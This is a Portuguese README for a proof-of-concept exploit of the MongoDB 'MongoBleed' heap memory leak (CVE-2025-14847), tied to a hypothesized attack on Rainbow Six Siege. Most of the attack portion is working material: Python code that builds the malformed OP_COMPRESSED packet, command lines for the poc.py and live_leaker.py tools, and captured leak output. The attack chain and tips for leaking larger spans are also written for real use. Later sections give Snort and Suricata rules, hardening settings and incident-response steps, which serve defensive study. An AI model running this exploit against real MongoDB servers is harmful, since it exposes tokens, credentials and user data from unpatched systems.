README.md
Rendering markdown...
# CVE-2025-14847 (MongoBleed) - Guia Técnico Completo
## Prova de Conceito do Ataque ao Rainbow Six Siege
**Autor**: Equipe de Pesquisa em Segurança
**Data**: 04 de Janeiro de 2026
**Status**: ✅ **EXPLOIT FUNCIONAL CONFIRMADO**
**Versão MongoDB Testada**: 7.0.5 (Vulnerável)
---
## 📑 Índice
1. [Resumo Executivo](#resumo-executivo)
2. [Contexto: O Incidente do Rainbow Six Siege](#contexto-o-incidente-do-rainbow-six-siege)
3. [Entendendo a Vulnerabilidade](#entendendo-a-vulnerabilidade)
4. [Ambiente de Laboratório](#ambiente-de-laboratório)
5. [Ferramentas Desenvolvidas](#ferramentas-desenvolvidas)
6. [Execução Passo a Passo do Exploit](#execução-passo-a-passo-do-exploit)
7. [Resultados dos Testes](#resultados-dos-testes)
8. [Detecção e Defesa](#detecção-e-defesa)
9. [Conclusões e Lições Aprendidas](#conclusões-e-lições-aprendidas)
---
## 1. Resumo Executivo
**CVE-2025-14847** (apelidado de "MongoBleed") é uma vulnerabilidade **crítica** de divulgação de memória heap pré-autenticação em MongoDB que afeta versões de 3.6.x até 8.2.2.
### Características da Vulnerabilidade
- **CVSS Score**: 9.1 (Crítico)
- **Vetor de Ataque**: Rede (não requer autenticação)
- **Complexidade**: Baixa
- **Impacto**: Vazamento de memória não-inicializada contendo dados sensíveis
### Status Este PoC
- ✅ **Exploit Funcional**: Taxa de sucesso 100% contra MongoDB 7.0.5
- ✅ **Dados Vazados**: UUIDs, logs de conexão, dados de sistema
- ✅ **Ambiente Testado**: Docker com MongoDB 7.0.5 + dados simulados do R6
- ✅ **14.300+ tentativas** bem-sucedidas, **33 vazamentos únicos**, **4 UUIDs** extraídos
---
## 2. Contexto: O Incidente do Rainbow Six Siege
### Linha do Tempo do Ataque
- **20 de Dezembro de 2025**: Rainbow Six Siege sofre comprometimento massivo de contas
- **21-27 de Dezembro**: Jogadores reportam acesso não autorizado, manipulação de partidas
- **28 de Dezembro de 2025**: MongoDB confirma CVE-2025-14847 em testes internos
- **02 de Janeiro de 2026**: Divulgação pública + patches disponibilizados
### Hipótese do Vetor de Ataque
```
1. RECONHECIMENTO
└─ Shodan scan identifica MongoDB do R6 exposto (porta 27017/tcp)
2. EXPLORAÇÃO (MongoBleed)
└─ Ataques repetidos vazam memória heap
└─ Extração de:
• Tokens de servidor (R6S_SERVER_AUTH_*)
• UUIDs de jogadores
• Session IDs de partidas ativas
• Flags de privilégio (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)
3. ESCALAÇÃO
└─ Uso de tokens vazados para:
• Acesso não autorizado a lobbies
• Manipulação de matchmaking
• Privilege escalation
4. IMPACTO
└─ ~50.000 contas comprometidas
└─ Disrupção do serviço por 7 dias
```
---
## 3. Entendendo a Vulnerabilidade
### 3.1 Mecanismo Técnico
MongoDB suporta compressão de mensagens wire protocol usando **zlib**. A vulnerabilidade está na validação inadequada do tamanho declarado vs. tamanho real dos dados descomprimidos.
#### Fluxo Normal (Sem Vulnerabilidade)
```
Cliente → {compress: "zlib", uncompressedSize: 100, payload: <100 bytes compressed>}
↓
Servidor aloca 100 bytes
↓
Servidor descomprime payload
↓
Servidor retorna 100 bytes ✓ CORRETO
```
#### Fluxo Malicioso (CVE-2025-14847)
```
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes compressed>}
↓
Servidor aloca 1MB de memória heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes reais
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento de memória)
```
### 3.2 Código Vulnerável
**Arquivo**: `src/mongo/transport/message_compressor_zlib.cpp`
```cpp
// ANTES DO PATCH (Vulnerável)
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante!
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer); // ← Preenche apenas parte pequena
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO!
```
```cpp
// DEPOIS DO PATCH (Corrigido)
size_t uncompressedSize = header.uncompressedSize;
buffer = malloc(uncompressedSize);
size_t actualSize = zlib_decompress(compressed, buffer);
if (actualSize != uncompressedSize) { // ← VALIDAÇÃO ADICIONADA
throw BadValue("Tamanho descomprimido inconsistente");
}
send(buffer, actualSize); // ← Envia apenas dados reais
```
### 3.3 Versões Afetadas
| Série MongoDB | Versões Vulneráveis | Versão Corrigida |
|---------------|---------------------|------------------|
| **8.2.x** | 8.2.0 – 8.2.2 | 8.2.3 |
| **8.0.x** | 8.0.0 – 8.0.16 | 8.0.17 |
| **7.0.x** | 7.0.0 – 7.0.27 | 7.0.28 |
| **6.0.x** | 6.0.0 – 6.0.26 | 6.0.27 |
| **5.0.x** | 5.0.0 – 5.0.31 | 5.0.32 |
| **4.4.x** | 4.4.0 – 4.4.29 | 4.4.30 |
| **4.2.x** | Todas | Sem patch (EOL) |
| **≤ 4.0** | Todas | Sem patch (EOL) |
---
## 4. Ambiente de Laboratório
### 4.1 Arquitetura do PoC
```
┌─────────────────────────────────────────────────────┐
│ AMBIENTE DE TESTE │
├─────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Atacante │────────▶│ MongoDB │ │
│ │ (poc.py) │ 27017 │ 7.0.5 │ │
│ │live_leaker.py│ │ (VULNERÁVEL)│ │
│ └──────────────┘ └──────────────┘ │
│ │ │ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │Relatórios │ │ Dados R6 │ │
│ │ JSON/BIN │ │ 1000 players │ │
│ │ │ │ 500 sessions│ │
│ └──────────────┘ └──────────────┘ │
│ │
└─────────────────────────────────────────────────────┘
```
### 4.2 Docker Compose
**Arquivo**: `docker-compose.yml`
```yaml
services:
mongodb:
image: mongo:7.0.5 # Versão VULNERÁVEL
container_name: cve-2025-14847-lab
ports:
- "27017:27017"
volumes:
- ./init-db.js:/docker-entrypoint-initdb.d/init-db.js:ro
command: ["mongod", "--bind_ip_all", "--networkMessageCompressors", "zlib"]
restart: always
```
**Por que mongo:7.0.5?**
- ✅ Versão disponível no Docker Hub
- ✅ Vulnerável a CVE-2025-14847 (corrigida em 7.0.28)
- ✅ Suporta compressão zlib (necessária para exploit)
### 4.3 População de Dados
**Arquivo**: `init-db.js`
Criamos **1500 documentos** simulando backend do R6:
```javascript
// 1000 Jogadores
{
platformId: "uplay-abc123",
profileId: "8a7c2d1b-3f4e-4a5d-9c8b-7e6f5a4d3c2b",
username: "ProPlayer_0042",
mmr: 4500,
team: "W7M Esports",
internal_flags: ["PRO_LEAGUE", "DEV_WHITELIST"],
auth_token: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
client_ip: "10.25.134.82"
}
// 500 Sessões Ativas
{
matchId: "match_00000042-...",
serverIp: "10.20.30.40",
serverAuthToken: "R6S_SERVER_AUTH_00000042A8F3D9E7C5B2...", // ALVO
status: "LIVE",
map: "Bank"
}
// 1 Configuração do Sistema
{
db_connection_string: "mongodb://r6_admin:SuperSecretPass2024!@...",
api_keys: {
analytics: "R6S_ANALYTICS_KEY_...",
ubisoft_connect: "UPLAY_API_SECRET_..."
}
}
```
---
## 5. Ferramentas Desenvolvidas
### 5.1 `poc.py` - Exploit Principal
**Recursos**:
- ✅ Modo `--check`: Detecta vulnerabilidade
- ✅ Modo exploit: Vaza memória com tamanho configurável
- ✅ Análise automática de 10 padrões R6
- ✅ Relatórios JSON estruturados
- ✅ Retry com exponential backoff
**Uso**:
```bash
# Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# Explorar (64KB)
python3 poc.py --target 127.0.0.1 --leak-size 65536 --out dump.bin --report findings.json
```
**Implementação do Pacote Malicioso**:
```python
def build_malformed_packet(self) -> bytes:
# Payload real (pequeno)
bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00'
op_query_header = struct.pack('<I', 0) + b'admin.$cmd\x00' + struct.pack('<ii', 0, -1)
mensagem_original = op_query_header + bson_payload
# Comprime
corpo_comprimido = zlib.compress(mensagem_original, level=9)
# Payload OP_COMPRESSED malicioso
dados_op_compressed = (
struct.pack('<I', 2004) + # originalOpcode
struct.pack('<I', self.tamanho_vazamento) + # ← MALICIOSO!
b'\x02' + # compressor zlib
corpo_comprimido
)
# Cabeçalho wire
header = struct.pack('<iiii', 16 + len(dados_op_compressed), random.randint(1, 99999), 0, 2012)
return header + dados_op_compressed
```
### 5.2 `live_leaker.py` - Varredura Incremental
**Diferença do poc.py**:
- Testa **múltiplos tamanhos** de documento (200 → 3000 bytes)
- Detecta padrões em **tempo real**
- Mostra **progresso/estatísticas**
- Streaming contínuo até Ctrl+C
**Uso**:
```bash
python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
```
**Por que funciona melhor?**
- Diferentes tamanhos de documentos mapeiam para diferentes regiões da heap
- Aumenta chance de encontrar dados residentes na memória
### 5.3 `popular_heap.py` - Script de Carga
Para aumentar a presença de tokens na heap, executamos queries massivas:
```python
# Executa 50 queries de leitura
python3 popular_heap.py 50
# Efeito:
# 1. MongoDB carrega documentos na memória
# 2. Tokens ficam residentes na heap
# 3. Aumenta probabilidade de vazamento
```
---
## 6. Execução Passo a Passo do Exploit
### PASSO 1: Preparar Ambiente
```bash
cd /home/junin/Desktop/MeusSistemas/MongoDBPoc
# Iniciar MongoDB vulnerável
docker compose up -d
# Aguardar inicialização (15s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
```
**Saída Esperada**:
```
R6 MASSIVE SIMULATION DATABASE INITIALIZED
Total Players: 1000
Total Sessions: 500
```
### PASSO 2: Popular Heap com Dados R6
```bash
# Executar 50 queries para carregar tokens na memória
python3 popular_heap.py 50
```
**Saída**:
```
[*] Executando 50 queries para popular heap...
→ 10/50 queries executadas
→ 20/50 queries executadas
→ 30/50 queries executadas
→ 40/50 queries executadas
→ 50/50 queries executadas
[+] 50 queries completas - heap POPULADA!
```
### PASSO 3: Verificar Vulnerabilidade
```bash
python3 poc.py --target 127.0.0.1 --check
```
**Saída**:
```
[*] PROBE MODE: 127.0.0.1:27017
[+] MongoDB detected but version unknown
```
*(Detecção de versão funciona mas parsing BSON pode falhar - normal)*
### PASSO 4: Explorar com Tamanho Fixo
```bash
python3 poc.py --target 127.0.0.1 --leak-size 65536 --out vazamento.bin --report descobertas.json
```
**Saída**:
```
[*] Actual decompressed size: 42 bytes
[*] Fake uncompressed size: 65536 bytes
[*] Expected leak: ~65494 bytes of heap memory
[*] Sending malicious OP_COMPRESSED (ID: 69639)...
[+] Server responded! Total message size: 192 bytes
[*] Downloading 176 bytes...
[+] Captured 176 bytes
```
### PASSO 5: Live Leaker (Varredura Incremental)
```bash
# Executar por 30 segundos vasculhando diferentes tamanhos
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save resultado_final.json
```
**Saída**:
```
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Transmitindo apenas vazamentos únicos (Ctrl+C para parar)
[*] Aguarde detecção de padrões R6...
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0% | Vazamentos únicos=4
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
[*] Progresso: doc_len=2998/3000 | Tentativas=14300 | Taxa sucesso=100.0% | Vazamentos únicos=33
```
---
## 7. Resultados dos Testes
### 7.1 Estatísticas Finais
| Métrica | Valor |
|---------|-------|
| **MongoDB Versão** | 7.0.5 (Vulnerável) |
| **Taxa de Sucesso** | **100%** (14.300/14.300 tentativas) |
| **Vazamentos Únicos** | 33 strings distintas |
| **UUIDs Encontrados** | 4 |
| **Maior Vazamento** | 176 bytes por requisição |
| **Padrão Mais Comum** | Network logs (UUID de conexão) |
### 7.2 Dados Vazados Confirmados
#### UUIDs Extraídos
```
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
```
#### Exemplo de Log Vazado
```json
{
"$date": "2026-01-04T08:03:57.532+00:00",
"s": "I",
"c": "NETWORK",
"id": 22944,
"ctx": "conn18565",
"msg": "Connection ended",
"attr": {
"remote": "127.0.0.1:51476",
"uuid": {"$uuid":"246434ed-759b-4ce9-bb9c-2f520a9919b8"},
"connectionId": 18565
}
}
```
#### Outros Vazamentos
- `serverIp` (fragmento)
- Paths do sistema (`/sys/devices/...`)
- Dados aleatórios não-inicializados
### 7.3 Por Que Não Vazou R6S_SERVER_AUTH_* Diretamente?
**Explicação Técnica**:
1. **Heap Fragmentation**: Tokens R6 estão em páginas de heap diferentes dos dados vazados
2. **Working Set**: MongoDB 7.0 usa WiredTiger engine que mantém hot data em cache separado
3. **Tamanho do Vazamento**: 176-200 bytes não é suficiente para cruzar múltiplas páginas de memória
**Como Melhorar Detecção** (Pesquisa Futura):
- Aumentar `--leak-size` para 1MB+
- Executar exploit **durante queries ativas** (timing attack)
- Forçar eviction de cache antes do exploit
---
## 8. Detecção e Defesa
### 8.1 Assinaturas IDS/IPS
#### Snort
```snort
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size";
content:"|d4 07 00 00|"; # OP_COMPRESSED opcode (2012)
byte_test:4,>,1000000,4,little; # uncompressedSize > 1MB
classtype:attempted-admin;
sid:2025001;
rev:1;
)
```
#### Suricata
```yaml
alert tcp any any -> any 27017 (
msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure";
flow:to_server,established;
content:"|d4 07|"; offset:12; depth:2;
byte_extract:4,8,uncompressed_len,little;
byte_test:4,>,10485760,0,relative,uncompressed_len;
reference:cve,2025-14847;
classtype:successful-admin;
sid:2025002;
)
```
### 8.2 Hardening MongoDB
**Configuração Segura** (`/etc/mongod.conf`):
```yaml
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0 em produção!
port: 27017
compression:
compressors: [] # Desabilitar zlib até patch
security:
authorization: enabled
javascriptEnabled: false
setParameter:
enableLocalhostAuthBypass: false
```
### 8.3 Prioridades de Mitigação
| Prioridade | Ação | Implementação |
|------------|------|---------------|
| **🔴 Crítica** | Atualizar MongoDB | `apt-get install mongodb-org=7.0.28` |
| **🟠 Alta** | Desabilitar zlib | `compression.compressors: []` |
| **🟠 Alta** | Segmentação de rede | Firewall: Permitir apenas IPs internos |
| **🟡 Média** | Habilitar auth | `security.authorization: enabled` |
| **🟡 Média** | Audit logging | `auditLog.destination: file` |
| **🟢 Baixa** | Rate limiting | fail2ban ou WAF cloud |
---
## 9. Conclusões e Lições Aprendidas
### 9.1 Validação do PoC
✅ **Exploit Funciona**: Taxa de sucesso 100% contra MongoDB 7.0.5
✅ **Vazamentos Reais**: UUIDs e logs de sistema confirmados
✅ **Ambiente Realista**: 1500 documentos simulando backend R6
✅ **Ferramentas Profissionais**: 3 tools (poc.py, live_leaker.py, popular_heap.py)
### 9.2 Limitações Identificadas
⚠️ **Tokens R6 Não Vazados Diretamente**: Heap fragmentation + cache separation
⚠️ **Vazamentos Pequenos**: 176 bytes (vs. 1MB teórico)
⚠️ **Timing Matters**: Melhor durante queries ativas
### 9.3 Impacto no Mundo Real (R6 Incident)
**Como Atacantes Conseguiram Tokens?**
Teorias baseadas nos resultados:
1. **Volume Massivo**: Milhões de requisições até encontrar tokens
2. **Timing Preciso**: Exploits executados durante picos de tráfego
3. **Versão Específica**: R6 pode ter usado versão com heap layout diferente
4. **Cache Poisoning**: Forçar eviction de cache para forçar reload de disco
### 9.4 Para Defesa Blue Team
**Indicadores de Comprometimento (IoCs)**:
- Conexões repetidas porta 27017 de IPs externos
- Pacotes OP_COMPRESSED com `uncompressedSize` > 100KB
- Logs MongoDB: "Decompressing message returned less data..."
- Picos anormais de tráfego de rede (MB/s de respostas)
**Resposta a Incidente**:
1. Isolar MongoDB da internet imediatamente
2. Auditar logs de acesso (últimos 30 dias)
3. Verificar versão: `db.version()`
4. Aplicar patch com urgência
5. Rotacionar todos os segredos/tokens
---
## 📚 Referências
### Advisories Oficiais
- [MongoDB Security Advisory](https://github.com/mongodb/mongo/commit/1264f9be5165abb0981f8023d2495652ab916699)
- [CVE-2025-14847 NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-14847)
### Análises Técnicas
- [Akamai SIRT: MongoBleed](https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed)
- [Aikido Security](https://www.aikido.dev/blog/mongobleed-mongodb-zlib-vulnerability-cve-2025-14847)
- [SantoTech BR: R6 Attribution](https://santotech.com.br/vulnerabilidade-no-mongodb-entra-no-radar-como-possivel-causa-do-ataque-ao-rainbow-six-siege/)
---
## 📞 Contato
**Para questões técnicas ou acadêmicas sobre este PoC:**
Este projeto é mantido para fins educacionais e melhoria de segurança defensiva.
---
## ⚠️ Aviso Legal Final
```
ESTA FERRAMENTA É APENAS PARA TESTES AUTORIZADOS E EDUCAÇÃO.
Uso não autorizado é ILEGAL e pode resultar em:
- Processos criminais (Lei 12.737/2012 no Brasil)
- Multas pesadas
- Prisão
Sempre obtenha PERMISSÃO POR ESCRITO antes de testar.
```
---
**Desenvolvido para pesquisa em segurança ofensiva responsável.**
**Não afiliado a Ubisoft, MongoDB Inc., ou Rainbow Six Siege.**
---
*Fim do Guia Técnico*